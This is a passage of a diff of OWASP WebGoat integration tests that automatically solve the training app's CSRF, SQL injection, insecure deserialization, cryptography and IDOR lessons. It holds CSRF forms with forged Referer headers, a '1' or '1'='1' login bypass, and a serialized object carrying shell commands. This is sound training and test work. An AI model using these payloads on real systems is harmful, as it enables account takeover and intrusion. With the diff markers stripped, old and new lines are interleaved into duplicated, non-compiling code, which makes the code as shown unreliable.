"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
"</form></body></html>";
private static final String trickHTML3 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+ "</form></body></html>";
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
"</form>\n" +
"</body></html>";
private static final String trickHTML4 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+ "<input type=\"hidden\" name=\"validateReq\""
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+ "</form>\n"
+ "</body></html>";
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
"</form></body></html>";
private static final String trickHTML7 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+ " method=\"POST\">\n"
+ "<input type=\"hidden\""
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+ " is the best!!' value='\"}' />\n"
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
+ "</form></body></html>";
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
"</form></body></html>";
private static final String trickHTML8 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
+ "</form></body></html>";
private String webwolfFileDir;
private String webwolfFileDir;
@BeforeEach
@SneakyThrows
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
@BeforeEach
@SneakyThrows
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml(
"csrf8.html",
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
}
@TestFactory
Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList(
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
}
@AfterEach
public void shutdown() throws IOException {
// logout();
login(); // because old cookie got replaced and invalidated
startLesson("CSRF", false);
checkResults("/csrf");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
// remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
}
@TestFactory
Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList(
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
);
}
// upload trick html
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
}
@AfterEach
public void shutdown() throws IOException {
//logout();
login();//because old cookie got replaced and invalidated
startLesson("CSRF", false);
checkResults("/csrf");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
//remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
}
//upload trick html
private String callTrickHtml(String htmlName) {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
}
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\""));
private String callTrickHtml(String htmlName) {
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.then()
.extract().response().getBody().asString();
result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\""));
return result;
}
return result;
}
private void checkAssignment3(String goatURL) {
String flag = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.post(goatURL)
.then()
.extract().path("flag").toString();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
}
private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
boolean result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract().path("lessonCompleted");
assertEquals(true, result);
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
String flag = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.contentType(ContentType.TEXT)
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
.post(goatURL)
.then()
.extract().asString();
flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\""));
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
//first make sure there is an attack csrf- user
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
//login and get the new cookie
String newCookie = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.params(params)
.post(goatURL)
.then()
.extract().cookie("JSESSIONID");
//select the lesson
private void checkAssignment3(String goatURL) {
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.post(goatURL)
.then()
.extract()
.path("flag")
.toString();
//click on the assignment
boolean result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(url("/csrf/login"))
.then()
.statusCode(200)
.extract().path("lessonCompleted");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
}
assertThat(result).isTrue();
private void checkAssignment4(String goatURL) {
login();
startLesson("CSRF", false);
Overview[] assignments = RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/service/lessonoverview.mvc"))
.then()
.extract()
.jsonPath()
.getObject("$", Overview[].class);
// assertThat(assignments)
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
// .extracting(o -> o.solved)
// .containsExactly(true);
}
@Data
private static class Overview {
Assignment assignment;
boolean solved;
}
/**
* Try to register the new user. Ignore the result.
*/
private void registerCSRFUser() {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put(
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"));
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract()
.path("lessonCompleted");
assertEquals(true, result);
}
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+ " best!!",
"\"}");
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.contentType(ContentType.TEXT)
.body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+ " the best!!=\"}")
.post(goatURL)
.then()
.extract()
.asString();
flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\""));
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
// first make sure there is an attack csrf- user
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
// login and get the new cookie
String newCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html"))
.params(params)
.post(goatURL)
.then()
.extract()
.cookie("JSESSIONID");
// select the lesson
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
// click on the assignment
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(url("/csrf/login"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted");
assertThat(result).isTrue();
login();
startLesson("CSRF", false);
Overview[] assignments =
RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/service/lessonoverview.mvc"))
.then()
.extract()
.jsonPath()
.getObject("$", Overview[].class);
// assertThat(assignments)
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
// .extracting(o -> o.solved)
// .containsExactly(true);
}
@Data
private static class Overview {
Assignment assignment;
boolean solved;
}
/** Try to register the new user. Ignore the result. */
private void registerCSRFUser() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(url("register.mvc"));
}
}

View File

@ -1,112 +1,110 @@
package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import org.junit.jupiter.api.Test;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import static org.junit.jupiter.api.Assertions.assertTrue;
import org.junit.jupiter.api.Test;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
public void testChallenge1() {
startLesson("Challenge1");
@Test
public void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/challenge/logo"))
.then()
.statusCode(200)
.extract().asByteArray();
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/challenge/logo"))
.then()
.statusCode(200)
.extract()
.asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(url("/WebGoat/challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/1"))
.then()
.statusCode(200)
.extract()
.asString();
checkAssignment(url("/WebGoat/challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/1"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/1");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password"));
}
checkResults("/challenge/1");
@Test
public void testChallenge5() {
startLesson("Challenge5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password"));
}
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
@Test
public void testChallenge5() {
startLesson("Challenge5");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/5"))
.then()
.statusCode(200)
.extract()
.asString();
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/5"))
.then()
.statusCode(200)
.extract().asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract().jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password"));
}
checkResults("/challenge/5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password"));
}
}

View File

@ -2,6 +2,7 @@ package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.fail;
import io.restassured.RestAssured;
import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
@ -10,125 +11,146 @@ import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
import io.restassured.RestAssured;
public class CryptoIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("Cryptography");
@Test
public void runTests() {
startLesson("Cryptography");
checkAssignment2();
checkAssignment3();
checkAssignment2();
checkAssignment3();
// Assignment 4
try {
checkAssignment4();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
fail();
}
try {
checkAssignmentSigning();
} catch (Exception e) {
e.printStackTrace();
fail();
}
checkAssignmentDefaults();
checkResults("/crypto");
}
private void checkAssignment2() {
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
.asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
String answer_user = decodedString.split(":")[0];
String answer_pwd = decodedString.split(":")[1];
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd);
checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
}
private void checkAssignment3() {
String answer_1 = "databasepassword";
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
checkAssignment(url("/crypto/encoding/xor"), params, true);
}
private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/md5")).then().extract().asString();
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/sha256")).then().extract().asString();
String answer_1 = "unknown";
String answer_2 = "unknown";
for (String secret : HashingAssignment.SECRETS) {
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
answer_1 = secret;
}
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
answer_2 = secret;
}
}
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2);
checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
}
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/signing/getprivate"))
.then()
.extract().asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
String signature = CryptoUtil.signMessage(modulus, privateKey);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("modulus", modulus);
params.put("signature", signature);
checkAssignment(url("/crypto/signing/verify"), params, true);
// Assignment 4
try {
checkAssignment4();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
fail();
}
private void checkAssignmentDefaults() {
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secretText", text);
params.put("secretFileName", "default_secret");
checkAssignment(url("/crypto/secure/defaults"), params, true);
try {
checkAssignmentSigning();
} catch (Exception e) {
e.printStackTrace();
fail();
}
checkAssignmentDefaults();
checkResults("/crypto");
}
private void checkAssignment2() {
String basicEncoding =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/encoding/basic"))
.then()
.extract()
.asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
String answer_user = decodedString.split(":")[0];
String answer_pwd = decodedString.split(":")[1];
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd);
checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
}
private void checkAssignment3() {
String answer_1 = "databasepassword";
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
checkAssignment(url("/crypto/encoding/xor"), params, true);
}
private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/md5"))
.then()
.extract()
.asString();
String sha256Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/sha256"))
.then()
.extract()
.asString();
String answer_1 = "unknown";
String answer_2 = "unknown";
for (String secret : HashingAssignment.SECRETS) {
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
answer_1 = secret;
}
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
answer_2 = secret;
}
}
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2);
checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
}
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/signing/getprivate"))
.then()
.extract()
.asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
String signature = CryptoUtil.signMessage(modulus, privateKey);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("modulus", modulus);
params.put("signature", signature);
checkAssignment(url("/crypto/signing/verify"), params, true);
}
private void checkAssignmentDefaults() {
String text =
new String(
Base64.getDecoder()
.decode(
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
.getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secretText", text);
params.put("secretFileName", "default_secret");
checkAssignment(url("/crypto/secure/defaults"), params, true);
}
}

View File

@ -1,34 +1,33 @@
package org.owasp.webgoat;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
public class DeserializationIntegrationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase();
private static String OS = System.getProperty("os.name").toLowerCase();
@Test
public void runTests() throws IOException {
startLesson("InsecureDeserialization");
@Test
public void runTests() throws IOException {
startLesson("InsecureDeserialization");
Map<String, Object> params = new HashMap<>();
params.clear();
if (OS.indexOf("win") > -1) {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
checkResults("/InsecureDeserialization/");
Map<String, Object> params = new HashMap<>();
params.clear();
if (OS.indexOf("win") > -1) {
params.put(
"token",
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else {
params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
checkResults("/InsecureDeserialization/");
}
}

View File

@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear();
params.put(
"question_0_solution",
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+ " website.");
params.put(
"question_1_solution",
"Solution 1: By changing the names and emails of one or more users stored in a database.");

View File

@ -1,13 +1,14 @@
package org.owasp.webgoat;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
@ -15,84 +16,81 @@ import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.SneakyThrows;
public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows
public void init() {
startLesson("IDOR");
}
@BeforeEach
@SneakyThrows
public void init() {
startLesson("IDOR");
}
@TestFactory
Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList(
dynamicTest("login",()-> loginIDOR()),
dynamicTest("profile", () -> profile())
);
}
@TestFactory
Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList(
dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
}
@AfterEach
public void shutdown() throws IOException {
checkResults("/IDOR");
}
@AfterEach
public void shutdown() throws IOException {
checkResults("/IDOR");
}
private void loginIDOR() throws IOException {
private void loginIDOR() throws IOException {
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "tom");
params.put("password", "cat");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "tom");
params.put("password", "cat");
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
}
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
private void profile() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile"))
.then()
.statusCode(200)
.extract()
.path("userId"),
CoreMatchers.is("2342384"));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("attributes", "userId,role");
checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
}
private void profile() {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/IDOR/profile"))
.then()
.statusCode(200)
.extract().path("userId"), CoreMatchers.is("2342384"));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("attributes", "userId,role");
checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384");
